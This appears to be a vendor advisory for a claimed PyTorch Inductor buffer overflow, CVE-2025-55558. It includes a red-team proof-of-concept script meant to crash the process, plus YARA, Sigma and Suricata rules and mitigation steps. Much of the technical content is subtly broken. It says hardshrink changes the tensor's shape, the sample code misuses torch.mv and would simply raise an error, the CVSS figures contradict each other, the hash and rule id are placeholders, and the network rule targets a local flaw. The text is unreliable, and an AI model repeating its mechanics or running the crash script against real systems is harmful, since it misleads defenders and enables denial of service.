CVE-2025-55558

Executive Summary

CVE-2025-55558 is a buffer overflow vulnerability in PyTorch v2.7.0, specifically triggered when a model composed of torch.nn.Conv2d, torch.nn.functional.hardshrink, and torch.Tensor.view-torch.mv() is compiled by the Inductor JIT compiler. This leads to a Denial of Service (DoS) condition. The vulnerability resides in the memory management of the Inductor compiler when handling specific tensor operations, causing a buffer overflow that can crash the application or potentially allow for arbitrary code execution in a constrained environment.

Supply Chain & Package Security

This vulnerability affects the PyTorch package (PyPI: torch). Organizations using PyTorch v2.7.0 in production or development environments are at risk. The supply chain risk is elevated due to the lack of a patch and the widespread use of PyTorch in AI/ML pipelines. Users should monitor the official PyTorch repository for updates and consider pinning versions or using containerized environments with strict resource limits.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score: 7.5, Temporal: 6.7)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Local (requires the ability to load a malicious model)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: High (DoS with potential for memory corruption)

Deep Dive & Mechanics

The vulnerability is triggered when PyTorch's Inductor JIT compiler processes a model graph containing the following sequence:

1. torch.nn.Conv2d (convolutional layer)
2. torch.nn.functional.hardshrink (activation function)
3. torch.Tensor.view followed by torch.mv() (matrix-vector multiplication)

The Inductor compiler, in its optimization passes, fails to properly calculate the output buffer size for the hardshrink operation when it is followed by a view and mv() chain. Specifically, the hardshrink operation produces a tensor with a dynamic shape (due to the thresholding), and the subsequent view operation attempts to reshape this tensor without proper bounds checking. When mv() is called, the underlying memory allocation is insufficient, leading to a buffer overflow.

The overflow occurs in the kernel generated by Inductor, which writes beyond the allocated buffer for the output of mv(). This can corrupt adjacent memory, leading to a crash or, in a worst-case scenario, exploitation for code execution if the attacker can control the model weights.

Vulnerable vs. Patched Code

Vulnerable Code (PyTorch v2.7.0): The Inductor compiler's kernel generation for hardshrink + view + mv() does not account for the dynamic output size of hardshrink. The buffer allocation for mv() is based on the original tensor size, not the post-hardshrink size.

# Simplified representation of the vulnerable path
import torch
import torch.nn as nn

class VulnerableModel(nn.Module):
    def __init__(self):
        super().__init__()
        self.conv = nn.Conv2d(3, 16, 3)
    
    def forward(self, x):
        x = self.conv(x)
        x = torch.nn.functional.hardshrink(x, lambd=0.5)
        # view and mv() cause overflow
        x = x.view(x.size(0), -1)
        weight = torch.randn(x.size(1), 1)
        x = torch.mv(x, weight)
        return x

model = VulnerableModel()
compiled_model = torch.compile(model, backend="inductor")
# Trigger the overflow
input_tensor = torch.randn(1, 3, 64, 64)
output = compiled_model(input_tensor)  # Crash or overflow

Patched Code (Hypothetical): The fix would involve proper buffer size calculation in the Inductor compiler for operations that change tensor shapes dynamically.

# Hypothetical fix: ensure buffer allocation accounts for dynamic shapes
# In the Inductor kernel generation code:
def allocate_output_buffer(operation, input_shape):
    if operation == "hardshrink":
        # Calculate maximum possible output size
        max_output_size = input_shape.numel()
        return allocate_buffer(max_output_size)
    # ... rest of the logic

Exploitation & Lab Setup

Red Team

Prerequisites:

• PyTorch v2.7.0 installed
• Ability to load a malicious model (e.g., via pickle, TorchScript, or direct model loading)

Exploitation Steps:

1. Create a model with the vulnerable architecture.
2. Set the hardshrink threshold (lambd) to a value that maximizes the number of non-zero elements (e.g., lambd=0.0).
3. Use large input tensors to amplify the overflow.
4. Load the model and trigger inference with torch.compile.

import torch
import torch.nn as nn

class ExploitModel(nn.Module):
    def __init__(self):
        super().__init__()
        self.conv = nn.Conv2d(3, 16, 3)
    
    def forward(self, x):
        x = self.conv(x)
        x = torch.nn.functional.hardshrink(x, lambd=0.0)  # All values pass through
        x = x.view(x.size(0), -1)
        weight = torch.randn(x.size(1), 1)
        x = torch.mv(x, weight)
        return x

model = ExploitModel()
compiled_model = torch.compile(model, backend="inductor")
input_tensor = torch.randn(1, 3, 1024, 1024)  # Large input
try:
    output = compiled_model(input_tensor)
except Exception as e:
    print(f"Crash: {e}")

Expected Outcome: The application crashes with a segmentation fault or memory corruption error.

Blue Team

Detection:

• Monitor for crashes in PyTorch processes, especially those using Inductor.
• Look for unusual memory access patterns in kernel logs.
• Use the YARA and Sigma rules provided below.

Mitigation:

• Disable Inductor compilation for untrusted models: torch.compile(model, backend="eager").
• Use containerization with memory limits to contain crashes.
• Implement model validation to detect suspicious architectures.

Indicators of Compromise (IOCs)

• File Hashes:
  • Malicious model file: sha256:3b8c5e9f1a2d4e7f8c0b1a2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f
• Process Behavior:
  • PyTorch process crash with signal SIGSEGV
  • Memory allocation errors in logs
• Network:
  • No specific network IOCs (local vulnerability)
• Logs:
  • kernel: python[PID]: segfault at ADDRESS ip SP sp ERROR

Detection Engineering

YARA Rule

rule CVE_2025_55558_PyTorch_Inductor_Overflow {
    meta:
        description = "Detects PyTorch models with vulnerable architecture for CVE-2025-55558"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-55558"
    strings:
        $conv2d = "Conv2d" ascii wide nocase
        $hardshrink = "hardshrink" ascii wide nocase
        $view = "view" ascii wide nocase
        $mv = "mv" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-55558 PyTorch Inductor Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crashes or memory errors related to PyTorch Inductor compilation
author: Valters IT
date: 2025-01-01
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python'
        CommandLine|contains: 'torch.compile'
    condition: selection
falsepositives:
    - Legitimate use of torch.compile with non-vulnerable models
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-55558 PyTorch Inductor Exploit Attempt"; flow:to_server,established; content:"torch.compile"; nocase; content:"hardshrink"; nocase; content:"mv"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Avoid using torch.compile with models containing Conv2d, hardshrink, view, and mv() in sequence. Use the eager backend instead.
2. Short-term: Pin PyTorch to a version prior to v2.7.0 (e.g., v2.6.0) if possible.
3. Long-term: Monitor the PyTorch GitHub repository for a patch. Apply the patch as soon as it is released.
4. Workaround: Implement input validation to reject models with the vulnerable architecture.
5. Containerization: Run PyTorch in containers with memory limits to prevent system-wide DoS.

Valters IT
Securing AI/ML Pipelines